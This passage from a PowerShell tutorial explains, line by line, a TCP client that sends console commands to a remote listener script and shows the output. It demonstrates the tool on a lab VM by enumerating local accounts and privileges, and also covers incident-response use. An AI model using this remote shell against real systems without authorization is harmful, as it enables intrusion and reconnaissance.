  • Line #4-12: Param allows you to set parameters to your function. In order to add another parameter you will just have to add a comma after $Port and then follow the same syntax as the first one. In this case, we are defining two parameters. The first parameter is a calls for a String and it is named $RemoteComputer . This will allow you to input the IP of the server or any other computer running the Listener script. In addition, the first parameter has property called Alias which will allow me to use "-c" instead of "-RemoteComputer" if I want to while running the script.  The second parameter is calls for an Integer and it is named $Port which will allow you to specify the port number where the remote server or computer is listening on. In addition, it also has an Alias defined which will allow me to use "-p" instead of "-port" if I want to while running the script. 
  • Line #14: Initialize a new instance of the TCPclient class. The variable $Tcpclient as a .NET object can now use any method from the TcpClient Class.
  • Line #15: Use the connect() method from the TcpClient Class in order to connect to the remote Tcp Server using a specific IP and port number. 
  • Line #16: Uses the Parse() method from the IPAddress Class to convert the IP address string of the remote tcp server to an IPAddress instance/Object. This will return an object that could use methods and properties from the IPAddress Class. useful to gather information about the IP address. (This is just to show you how classes work. If you only need the string of the server IP, you can just call the variable $RemoteComputer.)





 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    if($TCPClient.Connected){
        Write-Verbose "[**] Connection to $($serverip.IPAddressToString):$port [TCP] succeeded!"
    }
    else{
        Write-Verbose "[!!!] Connection to $($serverip.IPAddressToString):$port [TCP] Failed!" $($_.Exception.Message)
    }    

    $TcpNetworkstream = $Tcpclient.GetStream()
    $Receivebuffer = New-Object Byte[] $TcpClient.ReceiveBufferSize
    $EncodingType = New-Object System.Text.ASCIIEncoding

  • Line #1-6: Creates an If condition using the Connected() property from the $TcpClient object in order to check if the client is connected to the remote Tcp server. If it is, it shows verbose indicating that the connection to the remote tcp server succeeded on the indicated port. If it does not, then it shows verbose indicating that the connection failed and shows the exception message.
  • Line #8: Uses the method GetStream() from the TcpClient Object. This method will return a Network Stream that will be used to send and receive data. 
  • Line #9: The ReceiveBufferSize property gets the number of bytes that it expects to store in the receive buffer for each read operation. This property actually manipulates the network buffer space allocated for receiving incoming data. On this line, it is basically initiating an object which will get the buffer size of the TcpClient object. This will be used as our Buffer variable when receiving data from the remote server. 
  • Line #10: Sets the $EncodingType variable to ASCIIEncoding. This will be used when we send data (commands) over to the server.





 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
    try { 
        while ($TCPClient.Connected){
            $Read = $TcpNetworkstream.Read($Receivebuffer, 0, $Receivebuffer.Length)
            if( $Read -eq 0){break}                  
            else{            
                [Array]$Bytesreceived += $Receivebuffer[0..($Read -1)]
                [Array]::Clear($Receivebuffer, 0, $Read)
            }      
            
            if ($TcpNetworkstream.DataAvailable) {continue}
            else{  
                write-host -NoNewline $EncodingType.GetString($Bytesreceived).TrimEnd("`r")      
     
                $sendback = $EncodingType.GetBytes((read-host) + "`n")
                $TcpNetworkstream.Write($sendback, 0, $sendback.Length)
                $TcpNetworkstream.Flush()
                $Bytesreceived = $null  
            }
        }                     
    }
    catch {Write-warning "`n[!!!]TCP connection is broken, exiting.."}

  • Line #1: Starts a Try/Catch block in order to catch and handle an exception. This will wrap the whole while loop for the send and receive operations.
  • Line #2: starts a while loop using the $TcpClient's connected property in order to verify if the remote client is still connected to the server socket. This loop will keep happening as long as the connection with the remote client is alive. 
  • Line #3: Uses the Read() method from the NetworkStream object in order to read data(in this case commands) sent by the remote client. It reads the data into the buffer parameter and returns the number of bytes successfully read. If no data is available for reading, the read method returns 0. The read operation reads as much data as is available up to the number of bytes specified by the size paramater. The parameters for the Read() method are the following:
    • Buffer: An array of type Byte that is the location in memory to store data read from the Networkstream. In this case will be our $Receivebuffer variable.
    • Offset: Location in buffer to begin storing the data to.
    • Size: The number of bytes to read from the Networkstream. In this case, it will be the length of our $Receivebuffer variable.
  • Line#4Creates a conditional to stop the while loop if the read method returns 0. 
  • Line #5-6: Else, if the Read method doesn't return 0, then it maps the full array of the data that was read ($read) to the buffer ($Receivebuffer). The "+=" operator means that it adds elements to the $Bytesreceived array instead of replacing its content with something new (=). This will be helpful when the listener has to do more than one read cycle to get all the information sent by the client. Next, the array list of items are specified as [0..($read -1)] because, as you know, the first item of an array starts at location 0, and the last element will be the number of bytes successfully read ($read) minus 1 since it started on 0.
  • Line #7: Uses the method Clear() from the Class Array in order to reset each element type's default value. In this case the array that will be reset is the $Receivebuffer array since it contains the data that was read (This will be hel. The parameters for the clear() method are the following:
    • Array: The array whose elements need to be cleared
    • index: Starting index of the range of elements to be clear
    • length: the number of elements to be clear (We can use the variable $Read since it contains the number of bytes successfully read. 
  • Line #10: creates an If conditional to check if there is still data available in the TCPNetworkStream to read. This usually happens when the data sent from the remote client is bigger than the buffer. if so, it goes back to line #3 to read again. 
  • Line #11-12: Else, it shows the results on the screen. (Remember that the server executes commands and then sends the results back)
  • Line 14#: A new variable is defined and named $sendback which will be used to carry the strings/content/commands provided by the user via the use of the Read-Host CmdLet( It reads a line of input from the console).
  • Line #15: Uses the method Write() from the $networkstream object in order to write data to the Networkstream and send it over to the remote server. 
  • Line #16: Finally, it uses the method Flush() from the $Networkstream object to flush the data currently contained in the Networkstream in order to keep receiving and sending data. Flushing would be the last operation of the While loop. The parameters for the Write() method are the following:
    • Buffer: An array of type byte that contains the data to write to the Networkstream.
    • Offset: The location in buffer from which to start writing data.
    • size:  the number of bytes to write to the Networkstream.
  • Line #17: Clears the $Bytesreceived variable to use it again in the loop when there is more data to read. 
  • Line #21: Catches the while loop exception and shows a custom message. The while loop verifies if the connection is alive, so if the loop breaks, most likely it is because the communication got interrupted.





1
2
3
4
5
6
7
8
    try{
        if ($PSVersionTable.CLRVersion.Major -lt 4) { $Tcpclient.Close(); $TcpNetworkstream.Close()}
        else {$TcpNetworkstream.Dispose(); $Tcpclient.Dispose()}
        Write-host "`n[**] TCPClient Connected: $($Tcpclient.Connected)" -ForegroundColor Cyan
        Write-host "[**] TCPNetworkStream was closed/disposed gracefully..`n" -ForegroundColor Cyan
    }
    catch { Write-Warning "[!!!]Failed to close TCP Stream"}       
}

  • Line #1: Initiates a Try/Catch block 
  • Line #2-3: creates an If condition to check the version of Powershell  you are running the script from so that it can either close or dispose the TcpClient object and Networkstream accordingly. 
  • Line #4-5: Messages to confirm that the connection and Stream were closed/disposed gracefully.
  • Line #7: Uses the Catch section of the block to show a warning message in case the closing and disposing operations fail.
  • Line #6: Closing bracket of the whole script/function


As you can see, both scripts are very similar, and I decided to keep them separate so that it is easier to understand the unique lines of code and how they integrate with the rest of the script. You can have these two scripts merged under one and just have switches to select different functionalities depending if it is running as a server or client.



Testing the TCP Client-Server infrastructure 

First Scenario (Simple):
  • I have my Windows7 VM acting as a host from "an HR department".
  • I set up a simple HTTP File Server on my local computer and have my VM download the script, run the script on port 4455 and enable verbose
    • All these steps can, of course, be automated, but for the purpose of this example, I wanted you to understand how the script, all of the sudden, appeared on my VM.
  • On my local computer, I run the Client script and provide parameters, Server IP and Port number to connect to the TcpServer.
  • I get the the Banner "You have accessed [W7Hresources]  as w7hresources\employee
  • I just double check if I am who it says I am, and then try to gather more information about the local accounts on that computer. As you can see you can run any valid PowerShell command (in this example I ran Get-wmiObject -Class Win32_userAccount -Filter "LocalAccounts='True'"
  • As you can see, I am not the first one that has messed with this VM (hacker account!)
  • Finally, I check what privileges the user Employee has.....






Second Scenario (Live-Memory Analysis)
  • Wouldn't you like to see more Blue use cases with PowerShell? I mean besides Power-Forensics and a few projects out there to collect information from a compromised host, I feel that there are not many articles/projects showing good examples of PowerShell being used during IR engagements (I know we shouldn't trust the APIs but I mean automating other tools and applying similar concepts as Power-Forensics)
  • This example will just show the same compromised VM but now from an IR perspective.
  • Let's say you don't have an admin password to access the computer remotely, but have the capability to deploy an application or a script via Remote software management services. You can drop a folder or toolkit with applications or scripts in order to automate an expedite your investigation.
  • You can use PowerShell to automate everything for you.
  • In this example, I downloaded the Rekall Framework folder (ready to be used with a PowerShell Module inside) from my local HTTP File server (making it look as if it was the enterprise cloud service).
  • I import the module and then run the function Invoke-Rekall with its respective parameters to perform live memory analysis.
    • I used a basic plugin named PsList to show me a table of all the processes running in the computer (Analyzing memory)  (Remember no to trust APIs?)





 


I hope this was really helpful for those that were not that familiar with .NET classes and the way that PowerShell can be used to build client-server infrastructures. This is just a basic client-server build, but even at this level of complexity, it shows how valuable and powerful it could be. My next posts on this topic will be gradually taking this script to the next level. I will be talking about encryption, send/receive files, a GUI, and even persistence capabilities with this script as a foundation. 

Feedback is appreciated!




References

https://msdn.microsoft.com/en-us/library/system.net.sockets(v=vs.110).aspx  - System.Net.Sockets Namespace
https://msdn.microsoft.com/en-us/library/gg145039(v=vs.110).aspx - System.Net Namespaces
https://technet.microsoft.com/en-us/library/bb490939.aspx - Netsh
https://msdn.microsoft.com/en-us/library/system.net.sockets.tcplistener(v=vs.110).aspx - Listener Class
https://technet.microsoft.com/en-us/library/hh849716.aspx - Out-Null
https://msdn.microsoft.com/en-us/library/system.array.clear(v=vs.110).aspx - Array
https://msdn.microsoft.com/en-us/library/system.management.automation.scriptblock(v=vs.85).aspx - ScriptBlock
https://technet.microsoft.com/en-us/library/hh849952.aspx - Out-String
https://msdn.microsoft.com/en-us/library/system.net.sockets.networkstream(v=vs.110).aspx - NetworkStream
https://msdn.microsoft.com/en-us/library/system.net.sockets.tcpclient(v=vs.110).aspx - TcpClient Class
https://msdn.microsoft.com/en-us/library/system.net.ipaddress.parse(v=vs.110).aspx - IPAddress Parse

https://technet.microsoft.com/en-us/library/hh849945.aspx - Read-Host